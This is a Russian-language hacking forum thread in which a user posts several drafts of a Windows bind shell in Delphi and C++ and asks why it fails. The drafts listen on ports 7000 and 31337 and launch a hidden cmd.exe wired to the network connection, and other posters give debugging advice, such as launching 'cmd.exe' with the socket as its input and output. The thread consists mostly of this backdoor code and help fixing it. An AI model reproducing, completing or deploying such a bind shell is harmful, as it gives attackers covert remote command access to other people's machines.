народ помогите кто может и понимает в этом деле... тока без лишнего трепа типа я крутой хакер а ты ламо...если можешь помоги! написал эту дрянь (еще начало тока типа) - а она не работает... я конечно может не понимаю смысл и методику использования CreateProcess........ какие сдесь ошибки, подскажите...(ошибки в ДНК не принимаюцца ) Code: program test; {$APPTYPE CONSOLE} uses SysUtils, winsock, windows; var si:TSTARTUPINFO; sa,addr_from:sockaddr_in ; pi:PROCESS_INFORMATION; len,rec:integer; HWSAdata:WSADATA; s,s_cln:Tsocket; st:string[100]; begin WSAStartup($0101,HWSAdata); s:=Socket(AF_INET,SOCK_STREAM,0); sa.sin_family:=AF_INET; sa.sin_port:=htons(7000); sa.sin_addr.s_addr:=INADDR_ANY; fillchar(sa.sin_zero, 8, 0); bind(s,sa, sizeof(sa)); listen(s,3); len:=sizeof(addr_from); while true do begin s_cln:=accept(s,@addr_from,@len); while true do begin rec:=recv(s_cln, st, 100, 0); if rec=0 then break else begin si.cb:=sizeof(si); si.wShowWindow:=SW_HIDE; si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES; si.hStdInput:=s_cln; si.hStdOutput:=s_cln; si.hStdError:=s_cln; si.lpDesktop:=nil; si.lpTitle:=nil; si.lpReserved2:=NIL; CreateProcess(NIL ,'dir с:',NIL, NIL,TRUE,0,NIL,NIL,si,pi); FillChar(st,255,#0); end; end; closesocket(s_cln); //sleep(100); end; closesocket(s); WSACleanup(); end.
Есть такая штука, называется MSDN, там ты найдешь комментарий по каждой документированной функции. И если ты хочешь, чтобы тебе помогли, нужно четко выкладывать суть своей проблемы.
да... это bind shell на делфях... сначало надо сделать и догнать все на делфях что б приступить на С, а то там ваще все темно и надо приступать со знание дела... вобщем суть такова что он неработает почемуто... Code: program test; {$APPTYPE CONSOLE} uses SysUtils, winsock, windows; var si:TSTARTUPINFO; sa,addr_from:sockaddr_in ; pi:PROCESS_INFORMATION; len,rec:integer; HWSAdata:WSADATA; s,s_cln:Tsocket; st:string[100]; begin WSAStartup($0101,HWSAdata); s:=Socket(AF_INET,SOCK_STREAM,0); //создаем сокет sa.sin_family:=AF_INET; //настрайваем его sa.sin_port:=htons(7000); sa.sin_addr.s_addr:=INADDR_ANY; fillchar(sa.sin_zero, 8, 0); bind(s,sa, sizeof(sa)); listen(s,3); //число клиентов len:=sizeof(addr_from); while true do begin s_cln:=accept(s,@addr_from,@len); //...кто то подключился while true do begin //начинаем цикл обработки подключенного клиента rec:=recv(s_cln, st, 100, 0); // принимаем команду if rec=0 then break //если команда действительно есть то начинаем создавать процесс else begin si.cb:=sizeof(si); si.wShowWindow:=SW_HIDE; si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES; si.hStdInput:=s_cln; si.hStdOutput:=s_cln; si.hStdError:=s_cln; si.lpDesktop:=nil; si.lpTitle:=nil; si.lpReserved2:=NIL; CreateProcess(NIL ,'dir',NIL, NIL,TRUE,0,NIL,NIL,si,pi); //во всех примера там где у меня dir стоит конечноже cmd (командный интерпретатор), но я думал просто что именно сюда надо прописать команду...или же команда выполняется автоматически с приходом чегонибудь в сокет из-за вот этой строчки si.hStdInput:=s_cln; FillChar(st,255,#0); end; end; closesocket(s_cln); //sleep(100); end; closesocket(s); WSACleanup(); end. где неправильная логика? и вообще так ли пишут bind shell-ы? патамучто он даже если dir изменить на cmd... всеравно не пашет...протесть пожалуйста ктонибудь.
Code: rec:=recv(s_cln, st, 100, 0); // принимаем команду if rec=0 then break Это не нужно. Срузу после Code: s_cln:=accept(s,@addr_from,@len); Нужно заполнять структуру: Code: si.cb:=sizeof(si); si.wShowWindow:=SW_HIDE; si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES; ... И ещё раз говорю: нинадо никаких dir`ов, только 'cmd.exe'. После telnet`на забинденый порт получишь коммандную строку и всё.
исправил... Code: program test; {$APPTYPE CONSOLE} uses SysUtils, winsock, windows; var si:TSTARTUPINFO; sa,addr_from:sockaddr_in ; pi:PROCESS_INFORMATION; len,rec:integer; HWSAdata:WSADATA; s,s_cln:Tsocket; st:string[100]; begin WSAStartup($0101,HWSAdata); s:=Socket(AF_INET,SOCK_STREAM,0); sa.sin_family:=AF_INET; sa.sin_port:=htons(7000); sa.sin_addr.s_addr:=INADDR_ANY; fillchar(sa.sin_zero, 8, 0); bind(s,sa, sizeof(sa)); listen(s,3); len:=sizeof(addr_from); while true do begin s_cln:=accept(s,@addr_from,@len); si.cb:=sizeof(si); si.wShowWindow:=SW_HIDE; si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES; si.hStdInput:=s_cln; si.hStdOutput:=s_cln; si.hStdError:=s_cln; si.lpDesktop:=nil; si.lpTitle:=nil; si.lpReserved2:=NIL; CreateProcess(NIL ,'cmd.exe',NIL, NIL,TRUE,0,NIL,NIL,si,pi); //closesocket(s_cln); end; closesocket(s_cln); closesocket(s); WSACleanup(); end. при коннекте к нему как тока в телнете напишешь хоть одну букву сразу обрывается соединение... closesocket(s_cln); ставил и в теле цикла и за ним - всеравно одно и то же...
если подождешь... завтра кину парочку рабочих версий... сорцы на дельфи... p.s. в bindshell'ах надо winsock2 юзать. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ перед всеми извиняюсь... в winsock2 позволяет перенаправлять поток из консоли... туплю... да и вобщем пора бы понять что я ничего не знаю...
Это ты где такого начитался? Фленов, Кузьмич или может быть еще ктото? Я так полагаю этот вывод был сделан на основе пробемы связанной с SO_OPENTYPE? Может быть ты не в курсе, что UNIX системы крутятся на первых сокетах? Вот реально, только на античате в разделе кодинг можно поднять себе настроение на весь день.
не гони, полно таких форумов, вот этот почитай когда скучно будет http://www.sql.ru/forum/actualthread.aspx?bid=16&tid=466654&pg=1
эта вещь тоже не работает... при коннекте telnet как тока пишешь какуюнибудь букву сразу обрывается соединение.... при использовании собственного клиента - ноль реакции....
ну помогите хоть ктонибудь... скомпильте мой пример или W!z@rD и скажите работает или нет... может у меня тут на компе что нить не так...
ну помогите ктонибудь разобраться... а то ж я так и буду сидеть и тупить... вот уже и на С++ скомпилил примерчик... с помощью groundhog все собралось... Code: #include <winsock2.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") int main(){ SOCKET s; struct sockaddr_in localaddr, clientaddr; WSADATA wsaData; typedef struct {HANDLE hRead; HANDLE hWrite;} PIPE; PIPE input, output; SECURITY_ATTRIBUTES sa; STARTUPINFO st; PROCESS_INFORMATION pr; WSAStartup(MAKEWORD(2,2), &wsaData); s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); localaddr.sin_addr.s_addr = htonl(INADDR_ANY); localaddr.sin_family = AF_INET; localaddr.sin_port = htons(31337); bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr)); listen(s, 0); sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; CreatePipe(&input.hRead, &input.hWrite, &sa, 0); CreatePipe(&output.hRead, &output.hWrite, &sa, 0); ZeroMemory(&st, sizeof(STARTUPINFO)); st.cb = sizeof(STARTUPINFO); st.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; st.wShowWindow = SW_HIDE; st.hStdInput = input.hRead; st.hStdOutput = output.hWrite; st.hStdError = output.hWrite; CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &st, &pr); } при коннекте telnet из IPtools почемуто ничего не работает - ноль реакции.......
а ты думаешь я его не компилил? я уже тут все варианты попробывал... при сборке твоего варианта выдается ошибка Code: Compiling... bs.cpp e:\c++\c++\project\bs_add\bs\bs.cpp(44) : warning C4101: 'buf' : unreferenced local variable e:\c++\c++\project\bs_add\bs\bs.cpp(44) : warning C4101: 'type' : unreferenced local variable e:\c++\c++\project\bs_add\bs\bs.cpp(43) : warning C4101: 'i' : unreferenced local variable Linking... LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main Debug/bs.exe : fatal error LNK1120: 1 unresolved externals Error executing link.exe. bs.exe - 2 error(s), 3 warning(s) кто то говорил что нада ставить win 32 а не консольное приложение (это типа ошибка оюозначает именно это)... но ведь я так и делал... File->New->Projects->Win32 Applications потом cpp фаил создовал File->New->C++ Source file .........а оно не собирается но если закоментировать точку входа #pragma comment(linker,"/ENTRY:WinMain") - то собирается, и получаем exe... врубаю телнет из IPtools, конекчусь - конектится... пишу md cat1 - и фиг ничего не создается... при команде dir - телнет ничего не оттображает....